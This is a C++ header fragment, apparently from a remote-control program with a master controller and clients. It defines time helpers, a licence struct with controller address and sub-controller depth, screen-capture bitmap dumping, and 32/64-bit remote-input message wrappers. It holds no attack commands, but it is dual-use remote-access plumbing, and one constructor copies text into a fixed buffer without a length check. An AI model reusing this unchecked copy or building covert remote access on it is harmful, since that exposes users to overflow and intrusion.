// 转换为北京时间(UTC+8)
|
||
utc_time.tm_hour += 8;
|
||
|
||
// 规范化时间(处理溢出,如跨天)
|
||
std::mktime(&utc_time);
|
||
|
||
return utc_time;
|
||
}
|
||
|
||
inline std::string ToPekingTimeAsString(const time_t* t)
|
||
{
|
||
auto pekingTime = ToPekingTime(t);
|
||
char buffer[20];
|
||
std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", &pekingTime);
|
||
return buffer;
|
||
}
|
||
|
||
inline std::string ToPekingDateTime(const time_t* t)
|
||
{
|
||
auto pekingTime = ToPekingTime(t);
|
||
char buffer[20];
|
||
std::strftime(buffer, sizeof(buffer), "%Y%m%d%H%M%S", &pekingTime);
|
||
return buffer;
|
||
}
|
||
|
||
typedef struct Validation {
|
||
char From[20]; // 开始日期
|
||
char To[20]; // 结束日期
|
||
char Admin[100]; // 管理员地址(当前主控的公网地址)
|
||
unsigned short Port; // 管理员端口(默认当前端口)
|
||
unsigned short MaxDepth;// 最大生成深度(0=不可生成下级主控)
|
||
char Checksum[16]; // HMAC校验字段
|
||
Validation(float days, const char* admin, int port, const char* id="", unsigned short maxDepth=0)
|
||
{
|
||
time_t from = time(NULL), to = from + time_t(86400 * days);
|
||
memset(this, 0, sizeof(Validation));
|
||
std::string fromStr = ToPekingTimeAsString(&from);
|
||
std::string toStr = ToPekingTimeAsString(&to);
|
||
strcpy_s(From, fromStr.c_str());
|
||
strcpy_s(To, toStr.c_str());
|
||
strcpy_s(Admin, admin);
|
||
Port = (unsigned short)port;
|
||
MaxDepth = maxDepth;
|
||
if(strlen(id))memcpy(Checksum, id, 16);
|
||
}
|
||
bool IsValid() const
|
||
{
|
||
std::string now = ToPekingTimeAsString(NULL);
|
||
return From <= now && now <= To;
|
||
}
|
||
bool CanGenerate() const { return MaxDepth > 0; }
|
||
} Validation;
|
||
|
||
#ifdef _DEBUG
|
||
// 为了解决远程桌面屏幕花屏问题而定义的宏,仅调试时使用,正式版本没有
|
||
#define SCREENYSPY_IMPROVE 0
|
||
#define SCREENSPY_WRITE 0
|
||
#endif
|
||
|
||
#ifdef _WIN32
|
||
|
||
#ifdef _WINDOWS
|
||
#include <afxwin.h>
|
||
#else
|
||
#define WIN32_LEAN_AND_MEAN
|
||
#include <windows.h>
|
||
#endif
|
||
|
||
// 将内存中的位图写入文件
|
||
inline bool WriteBitmap(LPBITMAPINFO bmpInfo, const void* bmpData, const std::string& filePrefix, int index = -1)
|
||
{
|
||
char path[_MAX_PATH];
|
||
if (filePrefix.size() >= 4 && filePrefix.substr(filePrefix.size() - 4) == ".bmp") {
|
||
strcpy_s(path, filePrefix.c_str());
|
||
} else {
|
||
sprintf_s(path, ".\\bmp\\%s_%d.bmp", filePrefix.c_str(), index == -1 ? clock() : index);
|
||
}
|
||
FILE* File = fopen(path, "wb");
|
||
if (File) {
|
||
BITMAPFILEHEADER fileHeader = { 0 };
|
||
fileHeader.bfType = 0x4D42; // "BM"
|
||
fileHeader.bfSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + bmpInfo->bmiHeader.biSizeImage;
|
||
fileHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);
|
||
|
||
fwrite(&fileHeader, 1, sizeof(BITMAPFILEHEADER), File);
|
||
fwrite(&bmpInfo->bmiHeader, 1, sizeof(BITMAPINFOHEADER), File);
|
||
fwrite(bmpData, 1, bmpInfo->bmiHeader.biSizeImage, File);
|
||
fclose(File);
|
||
return true;
|
||
}
|
||
return false;
|
||
}
|
||
|
||
class MSG32 // 自定义控制消息(32位)
|
||
{
|
||
public:
|
||
uint32_t hwnd;
|
||
uint32_t message;
|
||
uint32_t wParam;
|
||
uint32_t lParam;
|
||
uint32_t time;
|
||
POINT pt;
|
||
|
||
MSG32(const void* buffer, int size)
|
||
{
|
||
if (size == sizeof(MSG32)) {
|
||
memcpy(this, buffer, sizeof(MSG32));
|
||
} else {
|
||
memset(this, 0, sizeof(MSG32));
|
||
}
|
||
}
|
||
|
||
MSG32()
|
||
{
|
||
memset(this, 0, sizeof(MSG32));
|
||
}
|
||
|
||
MSG32* Create(const void* buffer, int size)
|
||
{
|
||
if (size == sizeof(MSG32)) {
|
||
memcpy(this, buffer, sizeof(MSG32));
|
||
} else {
|
||
memset(this, 0, sizeof(MSG32));
|
||
}
|
||
return this;
|
||
}
|
||
};
|
||
|
||
// Windows 自定义的消息MSG在32位和64位系统下大小不同,导致跨平台架构远程控制异常
|
||
// 需要使用自定义的消息(统一采用64位windows 的MSG定义)
|
||
class MSG64 // 自定义控制消息(64位)
|
||
{
|
||
public:
|
||
uint64_t hwnd;
|
||
uint64_t message;
|
||
uint64_t wParam;
|
||
uint64_t lParam;
|
||
uint64_t time;
|
||
POINT pt;
|
||
|
||
#ifdef _WIN32
|
||
MSG64(const MSG& msg) :hwnd((uint64_t)msg.hwnd), message(msg.message), wParam(msg.wParam),
|
||
lParam(msg.lParam), time(msg.time), pt(msg.pt) {}
|
||
|
||
MSG64(const MSG32& msg) :hwnd((uint64_t)msg.hwnd), message(msg.message), wParam(msg.wParam),
|
||
lParam(msg.lParam), time(msg.time), pt(msg.pt) {}
|
||
|
||
MSG64* Create(const MSG32* msg32)
|
||
{
|
||
hwnd = msg32->hwnd;
|
||
message = msg32->message;
|
||
wParam = msg32->wParam;
|
||
lParam = msg32->lParam;
|
||
time = msg32->time;
|
||
pt = msg32->pt;
|
||
return this;
|
||
}
|
||
#endif
|
||
|
||
MSG64(const void* buffer, int size)
|
||
{
|
||
if (size == sizeof(MSG64)) {
|
||
memcpy(this, buffer, sizeof(MSG64));
|
||
} else {
|
||
memset(this, 0, sizeof(MSG64));
|
||
}
|
||
}
|
||
|
||
MSG64()
|
||
{
|
||
memset(this, 0, sizeof(MSG64));
|
||
}
|
||
};
|
||
|
||
#ifdef _WIN64
|
||
#define MYMSG MSG
|
||
#else
|
||
#define MYMSG MSG64
|
||
#endif
|
||
|
||
typedef struct CharMsg {
|
||
char data[256];
|
||
bool needFree;
|
||
CharMsg(const char* msg, bool free = true)
|
||
{
|
||
memset(data, 0, sizeof(data));
|
||
strcpy_s(data, msg);
|
||
needFree = free;
|
||
}
|
||
CharMsg(int len, bool free = true)
|
||
{
|
||
memset(data, 0, sizeof(data));
|
||
needFree = free;
|
||
}
|
||
} CharMsg;
|
||
|
||
#endif
|
||
|
||
// 客户端 -> 服务端的老式提示框消息(TOKEN_CLIENT_MSG)。原来定义在 _WIN32 区内,
|
||
// Linux 客户端自升级失败回报也要用,故移到公共区(strcpy_s 在非 Windows 下已 alias)。
|
||
typedef struct ClientMsg {
|
||
unsigned char cmd;
|
||
char title[31];
|
||
char text[512];
|
||
ClientMsg()
|
||
{
|
||
memset(this, 0, sizeof(*this));
|
||
}
|
||
ClientMsg(const char* title, const char* text)
|
||
{
|
||
cmd = TOKEN_CLIENT_MSG;
|
||
strcpy_s(this->title, title ? title : "提示信息");
|
||
strcpy_s(this->text, text ? text : "");
|
||
}
|
||
ClientMsg(const char* title, const char* text, int textLen)
|
||
{
|
||
cmd = TOKEN_CLIENT_MSG;
|
||
strcpy_s(this->title, title ? title : "提示信息");
|
||
memcpy(this->text, text, textLen);
|
||
}
|
||
} ClientMsg;
|
||
|